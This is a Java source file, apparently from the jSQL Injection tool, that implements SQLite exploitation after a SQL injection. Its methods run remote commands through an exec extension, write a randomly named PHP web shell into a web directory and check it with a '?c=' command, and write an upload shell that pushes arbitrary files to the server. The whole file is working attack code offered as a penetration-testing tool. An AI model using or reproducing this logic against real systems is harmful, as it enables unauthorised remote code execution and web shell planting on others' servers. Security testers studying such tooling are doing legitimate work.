ExploitSqlite.java
package com.jsql.model.accessible.vendor;
import com.jsql.model.InjectionModel;
import com.jsql.model.accessible.DataAccess;
import com.jsql.model.accessible.ResourceAccess;
import com.jsql.model.accessible.vendor.sqlite.ModelYamlSqlite;
import com.jsql.model.bean.util.Interaction;
import com.jsql.model.bean.util.Request;
import com.jsql.model.exception.JSqlException;
import com.jsql.model.exception.JSqlRuntimeException;
import com.jsql.util.LogLevelUtil;
import com.jsql.util.StringUtil;
import org.apache.commons.lang3.RandomStringUtils;
import org.apache.commons.lang3.StringUtils;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.yaml.snakeyaml.Yaml;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.http.HttpResponse;
import java.util.UUID;
import java.util.function.BinaryOperator;
public class ExploitSqlite {
/**
* Log4j logger sent to view.
*/
private static final Logger LOGGER = LogManager.getRootLogger();
private final InjectionModel injectionModel;
private final ModelYamlSqlite modelYaml;
public ExploitSqlite(InjectionModel injectionModel) {
this.injectionModel = injectionModel;
var yaml = new Yaml();
this.modelYaml = yaml.loadAs(
injectionModel.getMediatorVendor().getSqlite().instance().getModelYaml().getResource().getExploit(),
ModelYamlSqlite.class
);
}
public void createUdf() {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE UDF requirements: extension exec loaded");
var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
this.modelYaml.getExtension().getExec(),
ResourceAccess.WEB_CONFIRM_CMD +"%20"
), ResourceAccess.TBL_READ);
if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE UDF successful: command execution found");
var request = new Request();
request.setMessage(Interaction.ADD_TAB_EXPLOIT_RCE_SQLITE);
request.setParameters(null, null);
this.injectionModel.sendToViews(request);
}
}
public String runRce(String command, UUID uuidShell) {
String result;
try {
result = this.injectionModel.getResourceAccess().getResult(String.format(
this.modelYaml.getExtension().getExec(),
command.replace(StringUtils.SPACE, "%20")
), ResourceAccess.RUN_FUNC);
} catch (JSqlException e) {
result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
}
var request = new Request();
request.setMessage(Interaction.GET_TERMINAL_RESULT);
request.setParameters(uuidShell, result.trim() +"\n"); // missing newline on some extensions
this.injectionModel.sendToViews(request);
return result;
}
public String createWeb(String pathExploit, String urlExploit) {
LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine");
String bodyExploit = StringUtil.base64Decode(
this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty("exploit.web")
)
.replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
.replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
var nameExploit = nameDbRandom + nameTableRandom +".php";
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getWriteFile(),
pathExploit + nameExploit, nameDbRandom,
nameDbRandom, nameTableRandom,
nameDbRandom, nameTableRandom, bodyExploit
), ResourceAccess.TBL_DUMP);
BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
String result = this.injectionModel.getResourceAccess().callCommand(
urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
);
if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
return StringUtils.EMPTY;
}
var request = new Request();
request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
request.setParameters(urlSuccess);
this.injectionModel.sendToViews(request);
return urlSuccess;
};
return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
}
public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
String bodyExploit = StringUtil.base64Decode(
this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
)
.replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
.replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
var nameDbRandom = RandomStringUtils.secure().nextAlphabetic(8);
var nameTableRandom = RandomStringUtils.secure().nextAlphabetic(8);
var nameExploit = nameDbRandom + nameTableRandom +".php";
this.injectionModel.injectWithoutIndex(String.format(
this.modelYaml.getWriteFile(),
pathExploit + nameExploit, nameDbRandom,
nameDbRandom, nameTableRandom,
nameDbRandom, nameTableRandom, bodyExploit
), ResourceAccess.TBL_DUMP);
BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
if (result.body().contains(DataAccess.LEAD +"y")) {
LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
} else {
LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
}
} catch (InterruptedException e) {
LOGGER.log(LogLevelUtil.IGNORE, e, e);
Thread.currentThread().interrupt();
} catch (IOException | JSqlException e) {
throw new JSqlRuntimeException(e);
}
return urlSuccess;
};
this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
}
public ModelYamlSqlite getModelYaml() {
return this.modelYaml;
}
}